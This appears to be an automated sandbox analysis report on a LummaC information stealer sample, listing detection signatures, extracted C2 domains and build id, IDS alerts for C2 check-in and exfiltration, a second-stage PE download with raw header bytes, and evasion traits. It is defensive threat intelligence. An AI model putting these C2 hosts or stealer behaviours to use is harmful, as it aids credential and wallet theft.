Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559127
MD5:	828b27824dcb03a47d868b1193b68944
SHA1:	3e95020731c4409baed6c2b32462bc8594c00a93
SHA256:	ca2bb94ecc2dd930645bb85f11ea8f00586c72e0ea0a38cd7a3bddfd5e498e1d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5728 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 828B27824DCB03A47D868B1193B68944)

chrome.exe (PID: 1404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,14799726461208701850,5015195389532217883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1136 --field-trial-handle=1984,i,5282008535035960961,1957362739871004038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5728	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5728	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5728	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:22.010172+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	188.114.97.3	443	TCP
2024-11-20T08:12:22.988404+0100	2028371	3	Unknown Traffic	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-20T08:12:24.181528+0100	2028371	3	Unknown Traffic	192.168.2.6	49754	188.114.97.3	443	TCP
2024-11-20T08:12:25.496357+0100	2028371	3	Unknown Traffic	192.168.2.6	49760	188.114.97.3	443	TCP
2024-11-20T08:12:26.786866+0100	2028371	3	Unknown Traffic	192.168.2.6	49771	188.114.97.3	443	TCP
2024-11-20T08:12:28.359122+0100	2028371	3	Unknown Traffic	192.168.2.6	49782	188.114.97.3	443	TCP
2024-11-20T08:12:30.938629+0100	2028371	3	Unknown Traffic	192.168.2.6	49798	188.114.97.3	443	TCP
2024-11-20T08:12:34.635948+0100	2028371	3	Unknown Traffic	192.168.2.6	49824	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:22.470414+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49737	188.114.97.3	443	TCP
2024-11-20T08:12:23.435147+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-20T08:12:35.210409+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49824	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:22.470414+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49737	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:23.435147+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49743	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:35.927709+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49833	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:12:26.101370+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49760	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2455185048.0000000007C90000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567460684.0000000005BB2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49824 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:12:35 GMTContent-Type: application/octet-streamContent-Length: 2770944Last-Modified: Wed, 20 Nov 2024 06:30:18 GMTConnection: keep-aliveETag: "673d81fa-2a4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 78 6e 75 64 64 6a 67 00 00 2a 00 00 a0 00 00 00 e8 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 77 61 70 71 69 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 22 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 26 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49771 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49782 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49760 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49754 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49798 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49824 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49833 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
